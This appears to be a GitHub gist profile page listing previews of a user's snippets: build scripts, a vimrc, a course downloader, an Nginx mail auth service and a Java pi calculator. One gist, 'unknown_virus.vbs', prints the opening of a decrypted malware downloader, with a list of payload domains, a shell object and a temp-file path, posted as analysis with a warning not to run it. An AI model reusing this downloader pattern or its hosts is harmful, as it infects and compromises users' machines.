Skip to content

Instantly share code, notes, and snippets.

View a0x's full-sized avatar
:shipit:
happy hacking

AmadeusQ a0x

:shipit:
happy hacking
View GitHub Profile
@a0x
a0x / install-py3.6-macos-bigsur-pyenv.sh
Last active September 16, 2022 11:01
Install python 3.6 on macOS Big Sur via pyenv
# requires:
# zlib
# bzip2
# openssl
# readline
# ncurses
# macOS SDK
CFLAGS="-I$(brew --prefix zlib)/include -I$(brew --prefix bzip2)/include -I$(brew --prefix openssl)/include -I$(brew --prefix readline)/include -I$(brew --prefix ncurses)/include -I$(xcrun --show-sdk-path)/usr/include" \
LDFLAGS="-L$(brew --prefix zlib)/lib -L$(brew --prefix bzip2)/lib -L$(brew --prefix openssl)/lib -L$(brew --prefix readline)/lib -L$(brew --prefix ncurses)/lib -L$(xcrun --show-sdk-path)/usr/lib" \
@a0x
a0x / vimrc
Created October 3, 2019 02:08 — forked from keelii/vimrc
vimrc for window
" ------------------------------
" Name: vimrc for windows
" Author: keelii
" Email: [email protected]
" ------------------------------
" Startup {{{
filetype indent plugin on
augroup vimrcEx
@a0x
a0x / downlaod_xunlei.py
Last active June 9, 2019 04:55
网易公开课下载脚本
# https://www.twblogs.net/a/5bdf0e822b717720b51c3328/zh-cn
# https://www.bilibili.com/read/cv1624058/
import os
import sys
import requests
import time
from lxml import html
from you_get.common import r1, get_decoded_html
from win32com.client import Dispatch
@a0x
a0x / nginx_mail_proxy_auth.ru
Created September 13, 2017 07:43
Simple Auth Service for Nginx Mail Proxy
# This is a basic HTTP server, confirming to the authentication protocol
# required by Nginx's mail module.
require 'logger'
require 'rack'
module MailAuth
@a0x
a0x / unknown_virus.vbs
Last active May 13, 2017 06:01
某个未知病毒的脚本解密
' DO NOT RUN THIS SCRIPT ON YOUR COMPUTER!!!
' reference: https://gist.github.com/chenshaoju/6b926d2ae12a5150ed31b1c72d5b3463
var ld = 0;
' var cs = String.from.CharCode(92);
var cs = "\";
var ll = ["wholesalehotelsuites.com", "lovingfloridalife.com", "jeannetaylordds.com", "pacificwinemg.com", "iveybusiness.vmnow.co"];
var ws = WScript.CreateObject("WScript.Shell");
var fn = ws.ExpandEnvironmentStrings("%TEMP%")+cs+"a";
var xo = WScript.CreateObject("Msxml2.XMLHTTP");
@a0x
a0x / TestPi.java
Last active October 16, 2015 15:49
public class TestPI{
public static void main(String[] args){
// args[0] 是运行时输入的参数,也可以预先在程序中设定好数值。
int time = new Integer(args[0]).intValue();
double result = 0;
for(int i = 1; i <= time; i++){
double value = 4.0 / (2.0 * i - 1.0);
if (i % 2 == 1) {
result += value;
}